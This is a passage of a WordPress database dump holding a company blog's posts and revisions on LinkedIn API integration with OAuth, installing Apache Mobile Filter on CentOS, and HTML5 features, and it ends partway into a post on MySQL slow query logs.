token, which has two parts: the oauth_token and oauth_token_secret.\r\n\r\nG. After retrieving the access token, you can make API calls, signing them with the consumer key and access token\r\n\r\nFor implementing in your application your must have the Api Key and Secret Key for your application. So go to <a href=\"https://www.linkedin.com/secure/developer\" target=\"_blank\">https://www.linkedin.com/secure/developer</a> and click <b>Add New Application</b> to get them.\r\n\r\n<b>People Search API</b><b></b>\r\n\r\nThe People Search API returns information about people. It lets you implement most of what shows up when you do a search for \"People\" in the top right box on LinkedIn.com.\r\n\r\nAPI Call method:\r\n\r\n<a href=\"http://developer.linkedin.com/docs/DOC-1191\">http://api.linkedin.com/v1/people-search? keywords=<i>[space delimited keywords]</i>&amp; first-name=<i>[first name]</i>&amp; last-name=<i>[last name]</i>&amp; company-name=<i>[company name]</i>&amp; current-company=<i>[true|false]</i>&amp; title=<i>[title]</i>&amp; current-title=<i>[true|false]</i>&amp; school-name=<i>[school name]</i>&amp; current-school=<i>[true|false]</i>&amp; country-code=<i>[country code]</i>&amp; postal-code=<i>[postal code]</i>&amp; distance=<i>[miles]</i>&amp; start=<i>[number]</i>&amp; count=<i>[1-25]</i>&amp;  facet=<i>[facet code, values]</i>&amp; facets=<i>[facet codes]</i>&amp;  sort=<i>[connections|recommenders|distance|relevance]</i></a>\r\n\r\n&nbsp;\r\n\r\nUse the People Search API to find people using keywords, company, name, or other criteria. It returns a list of matching member profiles. Each entry can contain much of the information available on the person\'s member profile page.\r\n\r\nUse Field Selectors to explicitly enumerate the exact fields you want. This ensures the call returns in the least amount of time.\r\n\r\nAs a starting point, the People API default looked like this: <b>/people-search:(people:(id,first-name,last-name,headline,location:(name,country:(code),postal-code),industry,num-recommenders,connections,summary,specialties,interests,honors,positions,educations,member-url-resources,api-standard-profile-request,site-standard-profile-request,public-profile-url))?query</b>\r\n\r\nThe API can also return facets. Facets provide you with data about the collection of people, such as where they work, are located, or what schools they attended. You can then use this data to make a new API call that further refines your original request. This is similar to clicking the buttons on the left-hand side of the LinkedIn Search results page\r\n\r\n<b>Facets</b><b></b>\r\n\r\nFacets provide you with data similar to what appears on left-hand side of the LinkedIn Search results page.\r\n\r\nUse facets to discover for a member:\r\n\r\n- Who in their network works at a specific company, or group of companies.\r\n\r\n- How the people their network cluster together. What locations or industries are the most popular?\r\n\r\n- Where their connections graduated from school.\r\n\r\n&nbsp;\r\n\r\nTo find the First degree connections in a company use this API call:\r\n\r\n<a href=\"http://api.linkedin.com/v1/people-search:%28people:%28id,first-name,last-name,headline,picture-url,public-profile-url,positions:%28title%29%29,num-results%29?company-name=Collabor&amp;facets=network&amp;facet=network,F&amp;start=1&amp;count=200\">http://api.linkedin.com/v1/people-search:(people:(id,first-name,last-name,headline,picture-url,public-profile-url,positions:(title)),num-results)?company-name=Collabor&amp;facets=network&amp;facet=network,F&amp;start=1&amp;count=200</a>\r\n\r\nFor second degree connections in a company,\r\n\r\n<a href=\"http://api.linkedin.com/v1/people-search:%28people:%28id,first-name,last-name,headline,picture-url,public-profile-url,positions:%28title%29%29,num-results%29?company-name=Asda&amp;facets=network&amp;facet=network,S&amp;start=1&amp;count=200\">http://api.linkedin.com/v1/people-search:(people:(id,first-name,last-name,headline,picture-url,public-profile-url,positions:(title)),num-results)?company-name=Asda&amp;facets=network&amp;facet=network,S&amp;start=1&amp;count=200</a>\r\n\r\nFor Industry type (eg. IT Software),\r\n\r\n<a href=\"http://api.linkedin.com/v1/people-search:%28people:%28id,first-name,last-name,headline,picture-url,public-profile-url,positions:%28title%29%29,num-results%29??facets=industry,network&amp;facet=industry,96&amp;facet=network,F&amp;start=1&amp;count=200\">http://api.linkedin.com/v1/people-search:(people:(id,first-name,last-name,headline,picture-url,public-profile-url,positions:(title)),num-results)??facets=industry,network&amp;facet=industry,96&amp;facet=network,F&amp;start=1&amp;count=200</a>\r\n\r\nYou can get more information from <a href=\"http://developer.linkedin.com/docs/DOC-1012\">http://developer.linkedin.com/docs/DOC-1012</a>\r\n\r\nFor sending a message to the user use this function,\r\n\r\nfunction sendMessage($xml){\r\n\r\n$status_url = \"http://api.linkedin.com/v1/people/~/mailbox\";\r\n\r\n$request = OAuthRequest::from_consumer_and_token$this-&gt;consumer, $this-&gt;access_token, \"POST\", $status_url);\r\n\r\n$request-&gt;sign_request($this-&gt;signature_method, $this-&gt;consumer, $this-&gt;access_token);\r\n\r\n$auth_header = $request-&gt;to_header(\"https://api.linkedin.com\");\r\n\r\n$response = $this-&gt;httpRequest($status_url, $auth_header, \"POST\", $xml);\r\n\r\nreturn $response;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nXml will be as follows for sending a message.\r\n\r\n$xml =\'&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\r\n\r\n&lt;mailbox-item&gt;\r\n\r\n&lt;recipients&gt;\r\n\r\n\'.12345(LinkedIn person_id).\'\r\n\r\n&lt;/recipients&gt;\r\n\r\n&lt;subject&gt;\'.$custom_subject.\'&lt;/subject&gt;\r\n\r\n&lt;body&gt;\'.htmlentities($custom_message).\'&lt;/body&gt;\r\n\r\n&lt;/mailbox-item&gt;\';\r\n\r\n$content = $linkedin-&gt;sendMessage($xml);','Integration of LinkedIn API','','publish','open','open','','integration-of-linkedin-api','','','2014-07-21 11:02:02','2014-07-21 11:02:02','',0,'http://localhost/yalavarthitechnologies/blog/?p=160',0,'post','',0),(161,1,'2014-07-21 11:03:39','2014-07-21 11:03:39','<strong>Summary:</strong>\r\n\r\n<b>This is the software and perl modules you need to install before Apache mobile Filter Installation</b>.\r\n\r\nApache 2.x.x\r\nmod_perl 2.0\r\n\r\nApache2::Filter\r\nApache2::RequestRec\r\nApache2::RequestUtil\r\nApache2::Connection\r\nApache2::SubRequest\r\nApache2::Log;\r\nCGI::Cookie\r\nAPR::Table\r\nLWP::Simple\r\nImage::Resize\r\nApache2::Const\r\nIO::Uncompress::Unzip\r\n\r\n<b>For Install Apache Perl in Linux.</b>\r\n\r\nYum install httpd-devel\r\n\r\nYum install mod_perl\r\n\r\n<b>For installing Perl modules.</b>\r\n\r\ncpan install Image::Resize\r\n\r\ncpan install Apache2::Filter\r\n\r\nand same for above perl modules.\r\n\r\n<b>For download and install the Apache Mobile Filter suite follow this steps:</b>\r\n\r\n<b>mkdir</b> AWF\r\n<b>cd</b> AWF\r\n<b>wget</b> http://downloads.sourceforge.net/project/mobilefilter/ApacheMobileFilter/X.XX/Apache2-ApacheMobileFilter-X.XX.tar.gz?use_mirror=dfn\r\n<b>tar</b> -xzvf Apache2-WURFLFilter-X.XX.tar.gz\r\n<b>cd</b> Apache2-WURFLFilter-X.XX/\r\n<b>perl</b> Makefile.PL\r\n<b>make</b> install\r\n\r\n<b>Installing Memcached</b>\r\n\r\nyum install memcached\r\n\r\nor\r\n\r\nrpm -Uhv <a href=\"http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm\">http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm</a>\r\n\r\n&nbsp;\r\n\r\n<b>After installing all above modules we have to  configure in apache config file like below.</b>\r\n\r\n&nbsp;\r\n\r\nPerlSetEnv AMFHome /home/xxx\r\n\r\nPerlSetEnv AMFMobileHome /home/xxx\r\n\r\nPerlSetEnv CacheDirectoryStore /tmp/xxx\r\n\r\nPerlTransHandler +Apache2::AMFWURFLFilter\r\n\r\nPerlSetEnv DownloadWurflURL http://downloads.sourceforge.net/wurfl/wurfl-latest.zip\r\n\r\nPerlSetEnv LoadWebPatch true\r\n\r\nPerlSetEnv PatchWurflNetDownload true\r\n\r\nPerlSetEnv PatchWurflUrl http://wurfl.sourceforge.net/web_browsers_patch.xml\r\n\r\nPerlSetEnv ServerMemCached 127.0.0.1:11211,/var/sock/memcahed\r\n\r\nPerlTransHandler +Apache2::AMFWURFLFilterMemcached\r\n\r\nPerlSetEnv ResizeImageDirectory /tmp/xx','Apache Mobile Filter installation on Centos servers.','','publish','open','open','','apache-mobile-filter-installation-on-centos-servers','','','2014-07-21 11:03:39','2014-07-21 11:03:39','',0,'http://localhost/yalavarthitechnologies/blog/?p=161',0,'post','',0),(162,1,'2014-07-21 11:02:02','2014-07-21 11:02:02','<b>Integration of LinkedIn API</b>\r\n\r\nThe purpose of this article is how to integrate LinkedIn API in our applications. I covered some of the topics like showing the LinkedIn network people belongs to a company or industry and showing your LinkedIn first degree/second degree connection friends in our application and sending message to your LinkedIn friends.\r\n\r\nLinkedIn API uses OAuth as its authentication method. OAuth is a standard for negotiating developer authorization and granting access on behalf of specific members to perform API requests. One of OAuth\'s benefits is the availability of many third party and open source libraries, allowing developers to authenticate with LinkedIn quickly and in a similar manner to how they authenticate with services such as Twitter, Google, Yahoo, and Netflix.\r\n<b>OAuth Overview</b>\r\n\r\nThe below is a high-level architectural diagram of OAuth, and provides the specific settings for using it with the LinkedIn API.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>The OAuth Flow</b><b></b>\r\n\r\nThe developer (or the \"consumer\") requests an API (or consumer) key from LinkedIn (or the \"provider\")\r\n\r\nA. When your application needs to authenticate the member (or the \"user\"), your application makes a call to LinkedIn to ask for a request token\r\n\r\nB. LinkedIn replies with a request token. Request tokens are used to ask for user approval to the API.\r\n\r\nC. Your application redirects the member to LinkedIn to sign-in and authorize your application to make API calls on their behalf. Developer provides LinkedIn with a URL where they should send them afterward (or the \"callback\")\r\n\r\n&nbsp;\r\n\r\nD. If the member agrees, LinkedIn returns them to the location specified in the callback\r\n\r\nE. Your application then makes another OAuth call to LinkedIn to retrieve an access token for the member\r\n\r\nF. LinkedIn returns an access token, which has two parts: the oauth_token and oauth_token_secret.\r\n\r\nG. After retrieving the access token, you can make API calls, signing them with the consumer key and access token\r\n\r\nFor implementing in your application your must have the Api Key and Secret Key for your application. So go to <a href=\"https://www.linkedin.com/secure/developer\" target=\"_blank\">https://www.linkedin.com/secure/developer</a> and click <b>Add New Application</b> to get them.\r\n\r\n<b>People Search API</b><b></b>\r\n\r\nThe People Search API returns information about people. It lets you implement most of what shows up when you do a search for \"People\" in the top right box on LinkedIn.com.\r\n\r\nAPI Call method:\r\n\r\n<a href=\"http://developer.linkedin.com/docs/DOC-1191\">http://api.linkedin.com/v1/people-search? keywords=<i>[space delimited keywords]</i>&amp; first-name=<i>[first name]</i>&amp; last-name=<i>[last name]</i>&amp; company-name=<i>[company name]</i>&amp; current-company=<i>[true|false]</i>&amp; title=<i>[title]</i>&amp; current-title=<i>[true|false]</i>&amp; school-name=<i>[school name]</i>&amp; current-school=<i>[true|false]</i>&amp; country-code=<i>[country code]</i>&amp; postal-code=<i>[postal code]</i>&amp; distance=<i>[miles]</i>&amp; start=<i>[number]</i>&amp; count=<i>[1-25]</i>&amp;  facet=<i>[facet code, values]</i>&amp; facets=<i>[facet codes]</i>&amp;  sort=<i>[connections|recommenders|distance|relevance]</i></a>\r\n\r\n&nbsp;\r\n\r\nUse the People Search API to find people using keywords, company, name, or other criteria. It returns a list of matching member profiles. Each entry can contain much of the information available on the person\'s member profile page.\r\n\r\nUse Field Selectors to explicitly enumerate the exact fields you want. This ensures the call returns in the least amount of time.\r\n\r\nAs a starting point, the People API default looked like this: <b>/people-search:(people:(id,first-name,last-name,headline,location:(name,country:(code),postal-code),industry,num-recommenders,connections,summary,specialties,interests,honors,positions,educations,member-url-resources,api-standard-profile-request,site-standard-profile-request,public-profile-url))?query</b>\r\n\r\nThe API can also return facets. Facets provide you with data about the collection of people, such as where they work, are located, or what schools they attended. You can then use this data to make a new API call that further refines your original request. This is similar to clicking the buttons on the left-hand side of the LinkedIn Search results page\r\n\r\n<b>Facets</b><b></b>\r\n\r\nFacets provide you with data similar to what appears on left-hand side of the LinkedIn Search results page.\r\n\r\nUse facets to discover for a member:\r\n\r\n- Who in their network works at a specific company, or group of companies.\r\n\r\n- How the people their network cluster together. What locations or industries are the most popular?\r\n\r\n- Where their connections graduated from school.\r\n\r\n&nbsp;\r\n\r\nTo find the First degree connections in a company use this API call:\r\n\r\n<a href=\"http://api.linkedin.com/v1/people-search:%28people:%28id,first-name,last-name,headline,picture-url,public-profile-url,positions:%28title%29%29,num-results%29?company-name=Collabor&amp;facets=network&amp;facet=network,F&amp;start=1&amp;count=200\">http://api.linkedin.com/v1/people-search:(people:(id,first-name,last-name,headline,picture-url,public-profile-url,positions:(title)),num-results)?company-name=Collabor&amp;facets=network&amp;facet=network,F&amp;start=1&amp;count=200</a>\r\n\r\nFor second degree connections in a company,\r\n\r\n<a href=\"http://api.linkedin.com/v1/people-search:%28people:%28id,first-name,last-name,headline,picture-url,public-profile-url,positions:%28title%29%29,num-results%29?company-name=Asda&amp;facets=network&amp;facet=network,S&amp;start=1&amp;count=200\">http://api.linkedin.com/v1/people-search:(people:(id,first-name,last-name,headline,picture-url,public-profile-url,positions:(title)),num-results)?company-name=Asda&amp;facets=network&amp;facet=network,S&amp;start=1&amp;count=200</a>\r\n\r\nFor Industry type (eg. IT Software),\r\n\r\n<a href=\"http://api.linkedin.com/v1/people-search:%28people:%28id,first-name,last-name,headline,picture-url,public-profile-url,positions:%28title%29%29,num-results%29??facets=industry,network&amp;facet=industry,96&amp;facet=network,F&amp;start=1&amp;count=200\">http://api.linkedin.com/v1/people-search:(people:(id,first-name,last-name,headline,picture-url,public-profile-url,positions:(title)),num-results)??facets=industry,network&amp;facet=industry,96&amp;facet=network,F&amp;start=1&amp;count=200</a>\r\n\r\nYou can get more information from <a href=\"http://developer.linkedin.com/docs/DOC-1012\">http://developer.linkedin.com/docs/DOC-1012</a>\r\n\r\nFor sending a message to the user use this function,\r\n\r\nfunction sendMessage($xml){\r\n\r\n$status_url = \"http://api.linkedin.com/v1/people/~/mailbox\";\r\n\r\n$request = OAuthRequest::from_consumer_and_token$this-&gt;consumer, $this-&gt;access_token, \"POST\", $status_url);\r\n\r\n$request-&gt;sign_request($this-&gt;signature_method, $this-&gt;consumer, $this-&gt;access_token);\r\n\r\n$auth_header = $request-&gt;to_header(\"https://api.linkedin.com\");\r\n\r\n$response = $this-&gt;httpRequest($status_url, $auth_header, \"POST\", $xml);\r\n\r\nreturn $response;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nXml will be as follows for sending a message.\r\n\r\n$xml =\'&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\r\n\r\n&lt;mailbox-item&gt;\r\n\r\n&lt;recipients&gt;\r\n\r\n\'.12345(LinkedIn person_id).\'\r\n\r\n&lt;/recipients&gt;\r\n\r\n&lt;subject&gt;\'.$custom_subject.\'&lt;/subject&gt;\r\n\r\n&lt;body&gt;\'.htmlentities($custom_message).\'&lt;/body&gt;\r\n\r\n&lt;/mailbox-item&gt;\';\r\n\r\n$content = $linkedin-&gt;sendMessage($xml);','Integration of LinkedIn API','','inherit','open','open','','160-revision-v1','','','2014-07-21 11:02:02','2014-07-21 11:02:02','',160,'http://localhost/yalavarthitechnologies/blog/?p=162',0,'revision','',0),(163,1,'2014-07-21 11:03:39','2014-07-21 11:03:39','<strong>Summary:</strong>\r\n\r\n<b>This is the software and perl modules you need to install before Apache mobile Filter Installation</b>.\r\n\r\nApache 2.x.x\r\nmod_perl 2.0\r\n\r\nApache2::Filter\r\nApache2::RequestRec\r\nApache2::RequestUtil\r\nApache2::Connection\r\nApache2::SubRequest\r\nApache2::Log;\r\nCGI::Cookie\r\nAPR::Table\r\nLWP::Simple\r\nImage::Resize\r\nApache2::Const\r\nIO::Uncompress::Unzip\r\n\r\n<b>For Install Apache Perl in Linux.</b>\r\n\r\nYum install httpd-devel\r\n\r\nYum install mod_perl\r\n\r\n<b>For installing Perl modules.</b>\r\n\r\ncpan install Image::Resize\r\n\r\ncpan install Apache2::Filter\r\n\r\nand same for above perl modules.\r\n\r\n<b>For download and install the Apache Mobile Filter suite follow this steps:</b>\r\n\r\n<b>mkdir</b> AWF\r\n<b>cd</b> AWF\r\n<b>wget</b> http://downloads.sourceforge.net/project/mobilefilter/ApacheMobileFilter/X.XX/Apache2-ApacheMobileFilter-X.XX.tar.gz?use_mirror=dfn\r\n<b>tar</b> -xzvf Apache2-WURFLFilter-X.XX.tar.gz\r\n<b>cd</b> Apache2-WURFLFilter-X.XX/\r\n<b>perl</b> Makefile.PL\r\n<b>make</b> install\r\n\r\n<b>Installing Memcached</b>\r\n\r\nyum install memcached\r\n\r\nor\r\n\r\nrpm -Uhv <a href=\"http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm\">http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm</a>\r\n\r\n&nbsp;\r\n\r\n<b>After installing all above modules we have to  configure in apache config file like below.</b>\r\n\r\n&nbsp;\r\n\r\nPerlSetEnv AMFHome /home/xxx\r\n\r\nPerlSetEnv AMFMobileHome /home/xxx\r\n\r\nPerlSetEnv CacheDirectoryStore /tmp/xxx\r\n\r\nPerlTransHandler +Apache2::AMFWURFLFilter\r\n\r\nPerlSetEnv DownloadWurflURL http://downloads.sourceforge.net/wurfl/wurfl-latest.zip\r\n\r\nPerlSetEnv LoadWebPatch true\r\n\r\nPerlSetEnv PatchWurflNetDownload true\r\n\r\nPerlSetEnv PatchWurflUrl http://wurfl.sourceforge.net/web_browsers_patch.xml\r\n\r\nPerlSetEnv ServerMemCached 127.0.0.1:11211,/var/sock/memcahed\r\n\r\nPerlTransHandler +Apache2::AMFWURFLFilterMemcached\r\n\r\nPerlSetEnv ResizeImageDirectory /tmp/xx','Apache Mobile Filter installation on Centos servers.','','inherit','open','open','','161-revision-v1','','','2014-07-21 11:03:39','2014-07-21 11:03:39','',161,'http://localhost/yalavarthitechnologies/blog/?p=163',0,'revision','',0),(164,1,'2014-07-21 11:05:42','2014-07-21 11:05:42','<strong>Summary:</strong>\r\n<h1>HTML5 Features</h1>\r\n&nbsp;\r\n<h2>1.      New Doctype</h2>\r\n<b>( HTML )</b>       &lt;!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\r\n\r\n<b>( HTML5 )</b>    &lt;!DOCTYPE html&gt;\r\n<h2>2.      The Figure Element</h2>\r\n<b>( HTML )</b>       &lt;img src=\"image/image.jpg\" alt=\"image\" title=” image” /&gt;\r\n\r\n&lt;p&gt;Image of Mars. &lt;/p&gt;\r\n\r\n<b>( HTML5 )</b>\r\n\r\n&lt;figure&gt;\r\n\r\n&lt;img src=\"image/image.jpg\" alt=\"image\" title=”image” /&gt;\r\n\r\n&lt;figcaption&gt;\r\n\r\n&lt;p&gt;This is an image of something interesting.&lt;/p&gt;\r\n\r\n&lt;/figcaption&gt;\r\n\r\n&lt;/figure&gt;\r\n<h2>3.      No More <code>Types</code> for Scripts and Links</h2>\r\n<b>( HTML )</b>     &lt;link rel=\"stylesheet\" href=\"css/ stylesheet.css\" type=\"text/css\" /&gt;\r\n\r\n&lt;script src=\"path/to/script.js\" type=\"text/javascript\"&gt;&lt;/script&gt;\r\n\r\n<b>( HTML5 )</b>  &lt;link rel=\"stylesheet\" href=\"css/stylesheet.css\" /&gt;\r\n\r\n&lt;script src=\"path/to/script.js\"&gt;&lt;/script&gt;\r\n<h2>4.      To Quote or Not to Quote.</h2>\r\n<b>( HTML )</b>     &lt;p class=”myclass” id=”someId”&gt; Welcome.&lt;/p&gt;\r\n\r\n<b>( HTML5 )</b>  &lt;p class=myclass id=someId&gt; Welcome.&lt;/p&gt;\r\n\r\n&nbsp;\r\n<h2>5. Email Inputs</h2>\r\n<b>( HTML5 )</b>\r\n\r\n&lt;!DOCTYPE html&gt;\r\n\r\n&lt;html lang=\"en\"&gt;\r\n\r\n&lt;head&gt;\r\n\r\n&lt;meta charset=\"utf-8\"&gt;\r\n\r\n&lt;title&gt;untitled&lt;/title&gt;\r\n\r\n&lt;/head&gt;\r\n\r\n&lt;body&gt;\r\n\r\n&lt;form action=\"\" method=\"get\"&gt;\r\n\r\n&lt;label for=\"email\"&gt;Email:&lt;/label&gt;\r\n\r\n&lt;input id=\"email\" name=\"email\" type=\"email\" /&gt;\r\n\r\n&lt;button type=\"submit\"&gt; Submit Form &lt;/button&gt;\r\n\r\n&lt;/form&gt;\r\n\r\n&lt;/body&gt;\r\n\r\n&lt;/html&gt;\r\n\r\n&nbsp;\r\n<h2><code>6.</code><code>  </code>The Semantic <code>Header</code> and <code>Footer</code></h2>\r\n<b>( HTML )</b>      &lt;div id=\"header\"&gt;    ...  &lt;/div&gt;\r\n\r\n&lt;div id=\"footer\"&gt;       ...  &lt;/div&gt;\r\n\r\n<b>( HTML5 )</b>    &lt;header&gt;       ...      &lt;/header&gt;\r\n\r\n&lt;footer&gt;          ...      &lt;/footer&gt;\r\n<h2>7.Audio Support</h2>\r\n<b>( HTML5 ) </b>HTML5 now offers the <code>&lt;audio&gt;</code> element.\r\n\r\n&lt;audio autoplay=\"autoplay\" controls=\"controls\"&gt;\r\n\r\n&lt;source src=\"file.ogg\" /&gt;\r\n\r\n&lt;source src=\"file.mp3\" /&gt;\r\n\r\n&lt;a href=\"file.mp3\"&gt;Download this file.&lt;/a&gt;\r\n\r\n&lt;/audio&gt;\r\n<h2>8. Video Support</h2>\r\n<b>( HTML5 ) </b>HTML5 now offers the <code>&lt;vidio&gt;</code> element.\r\n\r\n&lt;video controls preload&gt;\r\n\r\n&lt;source src=\"cohagenPhoneCall.ogv\" type=\"video/ogg; codecs=\'vorbis, theora\'\" /&gt;\r\n\r\n&lt;source src=\"filename.mp4\" type=\"video/mp4; \'codecs=\'avc1.42E01E, mp4a.40.2\'\" /&gt;\r\n\r\n&lt;p&gt;Your browser is old.&lt;a href=\"cohagenPhoneCall.mp4\"&gt;Download this video instead.&lt;/a&gt;&lt;/p&gt;\r\n\r\n&lt;/video&gt;','HTML5 Features','','publish','open','open','','html5-features','','','2014-07-21 11:05:42','2014-07-21 11:05:42','',0,'http://localhost/yalavarthitechnologies/blog/?p=164',0,'post','',0),(165,1,'2014-07-21 11:04:40','2014-07-21 11:04:40','<strong>Summary:</strong>\n\n<b>This is the software and perl modules you need to install before Apache mobile Filter Installation</b>.\n\nApache 2.x.x\nmod_perl 2.0\n\nApache2::Filter\nApache2::RequestRec\nApache2::RequestUtil\nApache2::Connection\nApache2::SubRequest\nApache2::Log;\nCGI::Cookie\nAPR::Table\nLWP::Simple\nImage::Resize\nApache2::Const\nIO::Uncompress::Unzip\n\n<b>For Install Apache Perl in Linux.</b>\n\nYum install httpd-devel\n\nYum install mod_perl\n\n<b>For installing Perl modules.</b>\n\ncpan install Image::Resize\n\ncpan install Apache2::Filter\n\nand same for above perl modules.\n\n<b>For download and install the Apache Mobile Filter suite follow this steps:</b>\n\n<b>mkdir</b> AWF\n<b>cd</b> AWF\n<b>wget</b> http://downloads.sourceforge.net/project/mobilefilter/ApacheMobileFilter/X.XX/Apache2-ApacheMobileFilter-X.XX.tar.gz?use_mirror=dfn\n<b>tar</b> -xzvf Apache2-WURFLFilter-X.XX.tar.gz\n<b>cd</b> Apache2-WURFLFilter-X.XX/\n<b>perl</b> Makefile.PL\n<b>make</b> install\n\n<b>Installing Memcached</b>\n\nyum install memcached\n\nor\n\nrpm -Uhv <a href=\"http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm\">http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm</a>\n\n&nbsp;\n\n<b>After installing all above modules we have to  configure in apache config file like below.</b>\n\n&nbsp;\n\nPerlSetEnv AMFHome /home/xxx\n\nPerlSetEnv AMFMobileHome /home/xxx\n\nPerlSetEnv CacheDirectoryStore /tmp/xxx\n\nPerlTransHandler +Apache2::AMFWURFLFilter\n\nPerlSetEnv DownloadWurflURL http://downloads.sourceforge.net/wurfl/wurfl-latest.zip\n\nPerlSetEnv LoadWebPatch true\n\nPerlSetEnv PatchWurflNetDownload true\n\nPerlSetEnv PatchWurflUrl http://wurfl.sourceforge.net/web_browsers_patch.xml\n\nPerlSetEnv ServerMemCached 127.0.0.1:11211,/var/sock/memcahed\n\nPerlTransHandler +Apache2::AMFWURFLFilterMemcached\n\nPerlSetEnv ResizeImageDirectory /tmp/xx','Apache Mobile Filter installation on Centos servers.','','inherit','open','open','','161-autosave-v1','','','2014-07-21 11:04:40','2014-07-21 11:04:40','',161,'http://localhost/yalavarthitechnologies/blog/?p=165',0,'revision','',0),(166,1,'2014-07-21 11:05:42','2014-07-21 11:05:42','<strong>Summary:</strong>\r\n<h1>HTML5 Features</h1>\r\n&nbsp;\r\n<h2>1.      New Doctype</h2>\r\n<b>( HTML )</b>       &lt;!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\r\n\r\n<b>( HTML5 )</b>    &lt;!DOCTYPE html&gt;\r\n<h2>2.      The Figure Element</h2>\r\n<b>( HTML )</b>       &lt;img src=\"image/image.jpg\" alt=\"image\" title=” image” /&gt;\r\n\r\n&lt;p&gt;Image of Mars. &lt;/p&gt;\r\n\r\n<b>( HTML5 )</b>\r\n\r\n&lt;figure&gt;\r\n\r\n&lt;img src=\"image/image.jpg\" alt=\"image\" title=”image” /&gt;\r\n\r\n&lt;figcaption&gt;\r\n\r\n&lt;p&gt;This is an image of something interesting.&lt;/p&gt;\r\n\r\n&lt;/figcaption&gt;\r\n\r\n&lt;/figure&gt;\r\n<h2>3.      No More <code>Types</code> for Scripts and Links</h2>\r\n<b>( HTML )</b>     &lt;link rel=\"stylesheet\" href=\"css/ stylesheet.css\" type=\"text/css\" /&gt;\r\n\r\n&lt;script src=\"path/to/script.js\" type=\"text/javascript\"&gt;&lt;/script&gt;\r\n\r\n<b>( HTML5 )</b>  &lt;link rel=\"stylesheet\" href=\"css/stylesheet.css\" /&gt;\r\n\r\n&lt;script src=\"path/to/script.js\"&gt;&lt;/script&gt;\r\n<h2>4.      To Quote or Not to Quote.</h2>\r\n<b>( HTML )</b>     &lt;p class=”myclass” id=”someId”&gt; Welcome.&lt;/p&gt;\r\n\r\n<b>( HTML5 )</b>  &lt;p class=myclass id=someId&gt; Welcome.&lt;/p&gt;\r\n\r\n&nbsp;\r\n<h2>5. Email Inputs</h2>\r\n<b>( HTML5 )</b>\r\n\r\n&lt;!DOCTYPE html&gt;\r\n\r\n&lt;html lang=\"en\"&gt;\r\n\r\n&lt;head&gt;\r\n\r\n&lt;meta charset=\"utf-8\"&gt;\r\n\r\n&lt;title&gt;untitled&lt;/title&gt;\r\n\r\n&lt;/head&gt;\r\n\r\n&lt;body&gt;\r\n\r\n&lt;form action=\"\" method=\"get\"&gt;\r\n\r\n&lt;label for=\"email\"&gt;Email:&lt;/label&gt;\r\n\r\n&lt;input id=\"email\" name=\"email\" type=\"email\" /&gt;\r\n\r\n&lt;button type=\"submit\"&gt; Submit Form &lt;/button&gt;\r\n\r\n&lt;/form&gt;\r\n\r\n&lt;/body&gt;\r\n\r\n&lt;/html&gt;\r\n\r\n&nbsp;\r\n<h2><code>6.</code><code>  </code>The Semantic <code>Header</code> and <code>Footer</code></h2>\r\n<b>( HTML )</b>      &lt;div id=\"header\"&gt;    ...  &lt;/div&gt;\r\n\r\n&lt;div id=\"footer\"&gt;       ...  &lt;/div&gt;\r\n\r\n<b>( HTML5 )</b>    &lt;header&gt;       ...      &lt;/header&gt;\r\n\r\n&lt;footer&gt;          ...      &lt;/footer&gt;\r\n<h2>7.Audio Support</h2>\r\n<b>( HTML5 ) </b>HTML5 now offers the <code>&lt;audio&gt;</code> element.\r\n\r\n&lt;audio autoplay=\"autoplay\" controls=\"controls\"&gt;\r\n\r\n&lt;source src=\"file.ogg\" /&gt;\r\n\r\n&lt;source src=\"file.mp3\" /&gt;\r\n\r\n&lt;a href=\"file.mp3\"&gt;Download this file.&lt;/a&gt;\r\n\r\n&lt;/audio&gt;\r\n<h2>8. Video Support</h2>\r\n<b>( HTML5 ) </b>HTML5 now offers the <code>&lt;vidio&gt;</code> element.\r\n\r\n&lt;video controls preload&gt;\r\n\r\n&lt;source src=\"cohagenPhoneCall.ogv\" type=\"video/ogg; codecs=\'vorbis, theora\'\" /&gt;\r\n\r\n&lt;source src=\"filename.mp4\" type=\"video/mp4; \'codecs=\'avc1.42E01E, mp4a.40.2\'\" /&gt;\r\n\r\n&lt;p&gt;Your browser is old.&lt;a href=\"cohagenPhoneCall.mp4\"&gt;Download this video instead.&lt;/a&gt;&lt;/p&gt;\r\n\r\n&lt;/video&gt;','HTML5 Features','','inherit','open','open','','164-revision-v1','','','2014-07-21 11:05:42','2014-07-21 11:05:42','',164,'http://localhost/yalavarthitechnologies/blog/?p=166',0,'revision','',0),(167,1,'2014-07-21 11:11:11','2014-07-21 11:11:11','<strong>Summary:</strong>\r\n\r\nDescription: One of the main requirements for a fast web server is to has efficient and effective SQL statements or queries that are optimized. Any non-optimal SQL (Structured Query Language) commands or statements that take too long or lengthy time to execute will use up a lot of system resources, causing MySQL database to run slower, and then more and more queries backlogs queuing up, and when connection limit is reached, visitors are been denied or refused connection. In worst case scenario, your web server will go down as well, or continuously underperform. The case is especially true when you are using MyISAM table type which uses table-level locking instead of row-level locking in a high traffic website.\r\n\r\nSometime, a single SQL query may be the cause of all the server’s problems. MySQL has built-in functionality to capture slow query log or identify queries that are not optimal and take a long time to finish, which allows you to log all slow running queries which took over defined number of seconds to execute by MySQL database engine to a file. Slow query log is not activated or on by default MySQL installation, thus it 